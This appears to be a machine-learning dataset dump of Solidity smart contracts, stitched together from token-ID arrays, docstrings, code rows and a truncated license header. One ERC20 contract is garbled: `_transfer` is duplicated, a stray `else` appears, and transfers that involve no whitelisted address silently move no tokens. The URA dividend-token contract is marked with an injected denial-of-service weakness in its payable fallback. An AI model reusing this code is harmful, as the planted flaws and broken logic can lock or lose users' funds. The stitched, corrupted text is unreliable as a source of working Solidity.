1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
95,
203,
565,
871,
2018,
67,
3043,
12496,
2628,
203,
565,
261,
2867,
8808,
389,
11777,
16,
2254,
5034,
389,
9681,
67,
2260,
2578,
16,
2254,
5034,
389,
16113,
67,
350,
12496,
2628,
16,
203,
565,
2254,
5034,
389,
16113,
67,
70,
278,
1225,
6187,
82,
402,
16,
2254,
5034,
389,
16113,
67,
1896,
6275,
38,
2413,
16,
2254,
5034,
389,
16113,
67,
1154,
1685,
3630,
6275,
38,
2413,
16,
2254,
5034,
389,
16113,
67,
1896,
3630,
6275,
38,
2413,
16,
2254,
5034,
389,
16113,
67,
1896,
6275,
38,
2413,
382,
3335,
3342,
16,
203,
565,
2254,
28,
389,
16113,
67,
832,
3951,
52,
299,
16,
1426,
389,
16113,
67,
832,
3951,
559,
16,
2254,
5034,
389,
16113,
67,
70,
278,
2694,
2194,
1769,
203,
377,
203,
565,
871,
2018,
67,
3043,
1482,
12496,
12,
2867,
8808,
389,
11777,
16,
225,
2254,
5034,
389,
9681,
67,
2260,
2578,
16,
2254,
28,
389,
2327,
1769,
203,
565,
2254,
5034,
1071,
611,
55,
67,
350,
12496,
2628,
31,
203,
565,
2254,
5034,
1071,
611,
55,
67,
70,
278,
1225,
6187,
82,
402,
31,
203,
565,
2254,
5034,
1071,
611,
55,
67,
1896,
6275,
38,
2413,
31,
203,
565,
2254,
5034,
1071,
611,
55,
67,
1154,
1685,
3630,
6275,
38,
2413,
31,
203,
565,
2254,
5034,
1071,
611,
55,
67,
1896,
3630,
6275,
38,
2413,
31,
203,
565,
2254,
5034,
1071,
611,
55,
67,
1896,
6275,
38,
2413,
382,
3335,
3342,
31,
203,
565,
2254,
28,
1071,
611,
55,
67,
832,
3951,
52,
299,
31,
203,
565,
2
] |
./full_match/1/0xEC681F28f4561c2a9534799AA38E0d36A83Cf478/sources/localhost/token/erc20.sol | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => bool) public _whitelistedAddresses;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _burnedSupply;
uint256 private _taxedSupply;
uint256 private _taxRate = 75;
uint256 private _taxRateBase = 10000;
address private _taxAddress;
string private _name;
string private _symbol;
uint256 private _decimals;
constructor (string memory name, string memory symbol, uint256 decimals, uint256 initSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = 0;
_mint(msg.sender, initSupply*(10**_decimals));
_burnedSupply = 0;
_taxedSupply = 0;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function burnedSupply() public view returns (uint256) {
return _burnedSupply;
}
function taxedSupply() public view returns (uint256) {
return _taxedSupply;
}
function taxRate() public view returns (uint256) {
return _taxRate;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_whitelistedAddresses[sender] == true || _whitelistedAddresses[recipient] == true) {
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
uint256 amount_tax = amount.mul(_taxRate).div(_taxRateBase);
uint256 amount_send = amount.sub(amount_tax);
require(amount == amount_send + amount_tax, "Tax value invalid");
_tax(sender, amount_tax);
amount = amount_send;
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_whitelistedAddresses[sender] == true || _whitelistedAddresses[recipient] == true) {
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
uint256 amount_tax = amount.mul(_taxRate).div(_taxRateBase);
uint256 amount_send = amount.sub(amount_tax);
require(amount == amount_send + amount_tax, "Tax value invalid");
_tax(sender, amount_tax);
amount = amount_send;
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
} else {
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
_burnedSupply = _burnedSupply.add(amount);
emit Transfer(account, address(0), amount);
}
function _tax(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: tax from the zero address");
require(_taxAddress != address(0), "ERC20: tax address not set");
_beforeTokenTransfer(account, _taxAddress, amount);
_balances[account] = _balances[account].sub(amount, "ERC20: tax amount exceeds balance");
_balances[_taxAddress] = _balances[_taxAddress].add(amount);
_taxedSupply = _taxedSupply.add(amount);
emit Transfer(account, _taxAddress, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupTaxAddress(address taxAddress_) internal virtual {
require(_taxAddress == address(0), "tax address is already set");
_taxAddress = taxAddress_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 4,821,020 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
4232,
39,
3462,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
1426,
13,
1071,
389,
20409,
329,
7148,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
565,
2254,
5034,
3238,
389,
70,
321,
329,
3088,
1283,
31,
203,
565,
2254,
5034,
3238,
389,
8066,
329,
3088,
1283,
31,
203,
203,
565,
2254,
5034,
3238,
389,
8066,
4727,
273,
18821,
31,
203,
565,
2254,
5034,
3238,
389,
8066,
4727,
2171,
273,
12619,
31,
203,
565,
1758,
3238,
389,
8066,
1887,
31,
203,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
5034,
3238,
389,
31734,
31,
203,
203,
203,
565,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
16,
2254,
5034,
15105,
16,
2254,
5034,
1208,
3088,
1283,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
3639,
389,
31734,
273,
15105,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
374,
31,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
1208,
3088,
1283,
21556,
2163,
636,
67,
31734,
10019,
203,
3639,
389,
70,
321,
329,
3088,
1283,
273,
374,
31,
203,
3639,
389,
2
] |
pragma solidity ^0.5.2;
/**
* URA Mraket contract
* web site: ura.market
*
* URA.market is a decentralized trade and investment platform, created by Ethereum net.
*
* URA.market is controlled without human participation,
* and by automated smart contracts with refusal from ownership activated function.
*
* Gas limit: 150 000 (only the first time, average ~ 50 000)
* Gas price: https://ethgasstation.info/
*
* github: https://github.com/bigdaddy777/URA-MARKET-COIN
*/
library ToAddress {
function toAddr(uint _source) internal pure returns(address payable) {
return address(_source);
}
function toAddr(bytes memory _source) internal pure returns(address payable addr) {
// solium-disable security/no-inline-assembly
assembly { addr := mload(add(_source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
// solium-disable security/no-inline-assembly
uint256 length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// @wiki: https://theethereum.wiki/w/index.php/ERC20_Token_Standard
// ----------------------------------------------------------------------------
contract ERC20Interface {
function tokensOwner() public view returns (uint256);
function contracBalance() public view returns (uint256);
function balanceOf(address _tokenOwner) public view returns (uint256 balanceOwner);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event EtherTransfer(address indexed from, address indexed to, uint256 etherAmount);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol.
// ----------------------------------------------------------------------------
contract ERC20 is ERC20Interface {
using SafeMath for uint;
using ToAddress for *;
string constant public symbol = "URA";
string constant public name = "URA market coin";
uint8 constant internal decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) balances;
// ------------------------------------------------------------------------
// Get balance on contract
// ------------------------------------------------------------------------
function contracBalance() public view returns (uint256 contractBalance) {
contractBalance = address(this).balance;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address _tokenOwner) public view returns (uint256 balanceOwner) {
return balances[_tokenOwner];
}
// ------------------------------------------------------------------------
// Addon shows caller tokens.
// ------------------------------------------------------------------------
function tokensOwner() public view returns (uint256 tokens) {
tokens = balances[msg.sender];
}
}
// ----------------------------------------------------------------------------
// Bookeeper contract that holds the amount of dividents in Ether.
// ----------------------------------------------------------------------------
contract Dividend is ERC20 {
uint8 public constant dividendsCosts = 10; // Dividends 10%.
uint16 public constant day = 6000;
uint256 public dividendes; // storage for Dividends.
mapping(address => uint256) bookKeeper;
event SendOnDividend(address indexed customerAddress, uint256 dividendesAmount);
event WithdrawDividendes(address indexed customerAddress, uint256 dividendesAmount);
constructor() public {}
// ------------------------------------------------------------------------
// Withdraw dividendes.
// ------------------------------------------------------------------------
function withdrawDividendes() external payable returns(bool success) {
require(msg.sender.isNotContract(),
"the contract can not hold tokens");
uint256 _tokensOwner = balanceOf(msg.sender);
require(_tokensOwner > 0, "cannot pass 0 value");
require(bookKeeper[msg.sender] > 0,
"to withdraw dividends, please wait");
uint256 _dividendesAmount = dividendesCalc(_tokensOwner);
require(_dividendesAmount > 0, "dividendes amount > 0");
bookKeeper[msg.sender] = block.number;
dividendes = dividendes.sub(_dividendesAmount);
msg.sender.transfer(_dividendesAmount);
emit WithdrawDividendes(msg.sender, _dividendesAmount);
return true;
}
// ------------------------------------------------------------------------
// Get value of dividendes.
// ------------------------------------------------------------------------
function dividendesOf(address _owner)
public
view
returns(uint256 dividendesAmount) {
uint256 _tokens = balanceOf(_owner);
dividendesAmount = dividendesCalc(_tokens);
}
// ------------------------------------------------------------------------
// Count percent of dividendes from ether.
// ------------------------------------------------------------------------
function onDividendes(uint256 _value, uint8 _dividendsCosts)
internal
pure
returns(uint256 forDividendes) {
return _value.mul(_dividendsCosts).div(100);
}
// ------------------------------------------------------------------------
// Get number of dividendes in ether
// * @param _tokens: Amount customer tokens.
// * @param _dividendesPercent: Customer tokens percent in 10e18.
// *
// * @retunrs dividendesReceived: amount of dividendes in ether.
// ------------------------------------------------------------------------
function dividendesCalc(uint256 _tokensAmount)
internal
view
returns(uint256 dividendesReceived) {
if (_tokensAmount == 0) {
return 0;
}
uint256 _tokens = _tokensAmount.mul(10e18);
uint256 _dividendesPercent = dividendesPercent(_tokens); // Get % from tokensOwner.
dividendesReceived = dividendes.mul(_dividendesPercent).div(100);
dividendesReceived = dividendesReceived.div(10e18);
}
// ------------------------------------------------------------------------
// Get number of dividendes in percent
// * @param _tokens: Amount of (tokens * 10e18).
// * returns: tokens % in 10e18.
// ------------------------------------------------------------------------
function dividendesPercent(uint256 _tokens)
internal
view
returns(uint256 percent) {
if (_tokens == 0) {
return 0;
}
uint256 _interest = accumulatedInterest();
if (_interest > 100) {
_interest = 100;
}
percent = _tokens.mul(_interest).div(totalSupply);
}
// ------------------------------------------------------------------------
// Block value when buying.
// ------------------------------------------------------------------------
function accumulatedInterest() private view returns(uint256 interest) {
if (bookKeeper[msg.sender] == 0) {
interest = 0;
} else {
interest = block.number.sub(bookKeeper[msg.sender]).div(day);
}
}
}
// ----------------------------------------------------------------------------
// URA.market main contract.
// ----------------------------------------------------------------------------
contract URA is ERC20, Dividend {
// The initial cost of the token, it can not be less. //
uint128 constant tokenPriceInit = 0.00000000001 ether;
uint128 public constant limiter = 15 ether;
uint8 public constant advertisingCosts = 5; // 5% for transfer advertising.
uint8 public constant forReferralCosts = 2; // 2% for transfer to referral.
uint8 public constant forWithdrawCosts = 3; // 3% for the withdraw of tokens.
// For advertising. //
address payable constant advertising = 0x4d332E1f9d55d9B89dc2a8457B693Beaa7b36b2e;
event WithdrawTokens(address indexed customerAddress, uint256 ethereumWithdrawn);
event ReverseAccess(uint256 etherAmount);
event ForReferral(uint256 etherAmount);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public { }
// ------------------------------------------------------------------------
// Purchase
// * @param _reverseAccessOfLimiter: Excess value.
// * @param _aTokenPrice: Price For one token.
// * @param _forAdvertising: Advertising victim.
// * @param _forDividendes: Dividend sacrifice.
// * @param _amountOfTokens: Ether to tokens amount.
// * @param _reverseAccess: Change remainder in ether.
// ------------------------------------------------------------------------
function () external payable { //inject DOS BY COMPLEX FALLBACK
require(msg.sender.isNotContract(),
"the contract can not hold tokens");
address payable _referralAddress = msg.data.toAddr();
uint256 _incomingEthereum = msg.value;
uint256 _forReferral;
uint256 _reverseAccessOfLimiter;
if (_incomingEthereum > limiter) {
_reverseAccessOfLimiter = _incomingEthereum.sub(limiter);
_incomingEthereum = limiter;
}
uint256 _aTokenPrice = tokenPrice();
uint256 _dividendesOwner = dividendesOf(msg.sender);
uint256 _forAdvertising = _incomingEthereum.mul(advertisingCosts).div(100);
uint256 _forDividendes = onDividendes(_incomingEthereum, dividendsCosts);
if (_referralAddress != address(0)) {
_forReferral = _incomingEthereum.mul(forReferralCosts).div(100);
_forAdvertising = _forAdvertising.sub(_forReferral);
}
_incomingEthereum = _incomingEthereum.sub(
_forDividendes
).sub(
_forAdvertising
).sub(
_forReferral
);
require(_incomingEthereum >= _aTokenPrice,
"the amount of ether is not enough");
(uint256 _amountOfTokens,
uint256 _reverseAccess) = ethereumToTokens(_incomingEthereum, _aTokenPrice);
advertising.call.gas(2301).value(_forAdvertising)("");
_reverseAccessOfLimiter = _reverseAccessOfLimiter.add(_reverseAccess);
if (_reverseAccessOfLimiter > 0) {
// If there are leftovers, then return to customer. //
msg.sender.call.gas(2301).value(_reverseAccessOfLimiter)("");
emit ReverseAccess(_reverseAccessOfLimiter);
}
if (_forReferral > 0 && _referralAddress != address(0)) {
_referralAddress.call.gas(2301).value(_forReferral)("");
emit ForReferral(_forReferral);
}
if (_dividendesOwner > _aTokenPrice) {
reinvest();
}
bookKeeper[msg.sender] = block.number;
balances[msg.sender] = balances[msg.sender].add(_amountOfTokens);
totalSupply = totalSupply.add(_amountOfTokens);
dividendes = dividendes.add(_forDividendes);
emit EtherTransfer(msg.sender, advertising, _forAdvertising);
emit Transfer(address(0), msg.sender, _amountOfTokens);
emit SendOnDividend(msg.sender, _forDividendes);
}
// ------------------------------------------------------------------------
// Increment for token cost
// - Dynamic property that is responsible for
// - the rise and fall of the price of the token.
// ------------------------------------------------------------------------
function tokenPrice() public view returns(uint256 priceForToken) {
uint256 _contracBalance = contracBalance();
if (totalSupply == 0 || _contracBalance == 0) {
return tokenPriceInit;
}
return _contracBalance.div(totalSupply).mul(4).div(3);
}
// ------------------------------------------------------------------------
// Burning tokens function
// * @param _valueTokens: Amount tokens for burning.
// * @param _aTokenPrice: One token price.
// * @param _etherForTokens: Calculate the ether for burning tokens.
// * @param _forDividendes: Calculate the are common Dividendes.
// * @param _contracBalance: Get contract balance.
// * @param _dividendesAmount: Get the percentage of dividends burned tokens.
// ------------------------------------------------------------------------
function withdraw(uint256 _valueTokens) external payable returns(bool success) {
require(msg.sender.isNotContract(),
"the contract can not hold tokens");
uint256 _tokensOwner = balanceOf(msg.sender);
require(_valueTokens > 0, "cannot pass 0 value");
require(_tokensOwner >= _valueTokens,
"you do not have so many tokens");
uint256 _aTokenPrice = tokenPrice();
uint256 _etherForTokens = tokensToEthereum(_valueTokens, _aTokenPrice);
uint256 _contracBalance = contracBalance();
uint256 _forDividendes = onDividendes(_etherForTokens, forWithdrawCosts);
uint256 _dividendesAmount = dividendesCalc(_tokensOwner);
_etherForTokens = _etherForTokens.sub(_forDividendes);
totalSupply = totalSupply.sub(_valueTokens);
if (_dividendesAmount > 0) {
dividendes = dividendes.sub(_dividendesAmount);
_etherForTokens = _etherForTokens.add(_dividendesAmount);
emit WithdrawDividendes(msg.sender, _dividendesAmount);
}
if (_tokensOwner == _valueTokens) {
// if the owner out of system //
bookKeeper[msg.sender] = 0;
balances[msg.sender] = 0;
} else {
bookKeeper[msg.sender] = block.number;
balances[msg.sender] = balances[msg.sender].sub(_valueTokens);
}
if (_etherForTokens > _contracBalance) {
_etherForTokens = _contracBalance;
}
msg.sender.transfer(_etherForTokens);
emit WithdrawTokens(msg.sender, _etherForTokens);
emit SendOnDividend(address(0), _forDividendes);
return true;
}
// ------------------------------------------------------------------------
// Reinvest dividends into tokens
// ------------------------------------------------------------------------
function reinvest() public payable returns(bool success) {
require(msg.sender.isNotContract(),
"the contract can not hold tokens");
uint256 _dividendes = dividendesOf(msg.sender);
uint256 _aTokenPrice = tokenPrice();
require(_dividendes >= _aTokenPrice, "not enough dividends");
(uint256 _amountOfTokens,
uint256 _reverseAccess) = ethereumToTokens(_dividendes, _aTokenPrice);
require(_amountOfTokens > 0, "tokens amount not zero");
dividendes = dividendes.sub(_dividendes.sub(_reverseAccess));
balances[msg.sender] = balances[msg.sender].add(_amountOfTokens);
totalSupply = totalSupply.add(_amountOfTokens);
bookKeeper[msg.sender] = block.number;
emit Transfer(address(0), msg.sender, _amountOfTokens);
return true;
}
// ------------------------------------------------------------------------
// ether conversion to token
// ------------------------------------------------------------------------
function ethereumToTokens(uint256 _incomingEthereum, uint256 _aTokenPrice)
private
pure
returns(uint256 tokensReceived, uint256 reverseAccess) {
require(_incomingEthereum >= _aTokenPrice,
"input ether > a token price");
tokensReceived = _incomingEthereum.div(_aTokenPrice);
require(tokensReceived > 0, "you can not buy 0 tokens");
reverseAccess = _incomingEthereum.sub(tokensReceived.mul(_aTokenPrice));
}
// ------------------------------------------------------------------------
// Inverse function ethereumToTokens (Token conversion to ether).
// ------------------------------------------------------------------------
function tokensToEthereum(uint256 _tokens, uint256 _aTokenPrice)
private
pure
returns(uint256 etherReceived) {
require(_tokens > 0, "0 tokens cannot be counted");
etherReceived = _aTokenPrice.mul(_tokens);
}
} | 3% for the withdraw of tokens.
| uint8 public constant forWithdrawCosts = 3; | 5,468,765 | [
1,
23,
9,
364,
326,
598,
9446,
434,
2430,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
28,
1071,
5381,
364,
1190,
9446,
21420,
273,
890,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
